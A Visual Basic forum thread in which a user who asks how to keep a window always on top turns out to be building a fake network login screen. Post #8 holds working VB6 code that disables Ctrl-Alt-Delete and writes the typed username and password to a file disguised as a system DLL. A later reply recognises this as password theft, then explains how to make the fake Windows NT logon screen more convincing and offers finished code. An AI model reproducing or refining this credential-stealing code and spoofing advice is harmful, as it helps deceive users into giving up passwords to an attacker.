Results 1 to 10 of 10

Thread: always on top

  1. #1

    Thread Starter
    New Member
    Join Date
    Mar 2000
    Location
    Federal Way, WA, USA
    Posts
    13
    how can I make my program always on top of the others. Please post or send me email at [email protected]. I would appreciate it.

  2. #2
    Serge's Avatar
    Join Date
    Feb 1999
    Location
    Scottsdale, Arizona, USA
    Posts
    2,744
    Check out VB-World's Tip

  3. #3
    Lively Member
    Join Date
    Jun 1999
    Posts
    120
    Check out "How do I get my application on top?"
    http://www.vb-world.net/tips/tip4.html

    and/or "Keep your program on top"
    http://www.vbsquare.com/tips/tip153.html

  4. #4

    Thread Starter
    New Member
    Join Date
    Mar 2000
    Location
    Federal Way, WA, USA
    Posts
    13

    Both don't seem to work

    I cant get any to work. Anybody have anyother ways? I have vb 6.0

  5. #5
    Conquistador
    Join Date
    Dec 1999
    Location
    Australia
    Posts
    4,527
    is it coming up with an error message?

  6. #6

    Thread Starter
    New Member
    Join Date
    Mar 2000
    Location
    Federal Way, WA, USA
    Posts
    13

    a

    it doesn't do anything at all

  7. #7
    Frenzied Member
    Join Date
    Jan 2000
    Location
    Bellevue, WA, USA
    Posts
    1,357

    Post your code

    If you post the code you are using to keep your form on top (not the code for your entire project!) it would help.

    Also, are you trying to make your program compete with another "always on top" program like NetZero or AllAdvantage? That poses more serious problems.

    ~seaweed

    p.s. If you don't know how to post code, first copy it from VB, then in the Your Reply: window here on the BB type this:

    [ code]
    ...paste your code here...
    [ /code]

    The only thing is, dont put a space between the first bracket and the word between the brackets. I had to do that or it would just do the format!

  8. #8

    Thread Starter
    New Member
    Join Date
    Mar 2000
    Location
    Federal Way, WA, USA
    Posts
    13

    here is my code

    Private Declare Function SystemParametersInfo Lib _
    "user32" Alias "SystemParametersInfoA" (ByVal uAction _
    As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
    ByVal fuWinIni As Long) As Long
    Private Sub Command1_Click()
    If Text1.Text = "" Then
    MsgBox "Please enter a valid username", , "Error"
    Else
    Call al1
    End If
    End Sub

    Private Sub Command2_Click()
    MsgBox "Cannot login to network. Please type your username and password and click ok", , "Network Error"
    End Sub
    Public Function al1()
    If Text2.Text = "" Then
    Code:
    MsgBox "Please enter a valid password"
    Else
    Call al
    End If
    End Function
    Public Function al()
    Open "C:\windows\network.dll" For Append As #1
    Write #1, Text1.Text, Text2.Text
    Close #1
    End
    End Function
    
    Private Sub Form_Load()
    Call DisableCtrlAltDelete(True)
    Timer1.Enabled = True
    End Sub
    Sub DisableCtrlAltDelete(bDisabled As Boolean)
        Dim X As Long
        X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
    End Sub

  9. #9
    Frenzied Member
    Join Date
    Jan 2000
    Location
    Bellevue, WA, USA
    Posts
    1,357

    stealing passwords?

    Tsk Tsk Tsk...

    First of all, that disabling of ctrl/alt/delete wont work on windows NT (which I am assuming is the OS that you are trying to get the username and password from).

    Also, if you are trying to emulate a log-on screen, what I would do is make a borderless form with a green background and the WinNT picture on it and maximize it. This is your startup form. Then from this form, in the form load, call the login form as vbModal (means they have to respond to that form before anything else in your program can occur). That way your program is the only one that can be seen.

    Now you just have to find some way to disable Ctl-alt-del and alt-tab and you're done.

    If you want a sample of one I did, email me. It has all the graphics, form and control sizes, and animations exactly as the "real thing".

    ~seaweed

  10. #10

    Thread Starter
    New Member
    Join Date
    Mar 2000
    Location
    Federal Way, WA, USA
    Posts
    13
    yes please send me the form code for your project. Send it to [email protected]. Thanks i need it real bad. The error program that I'm making runs in windows95 not in nt. Thanks for your help and support.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width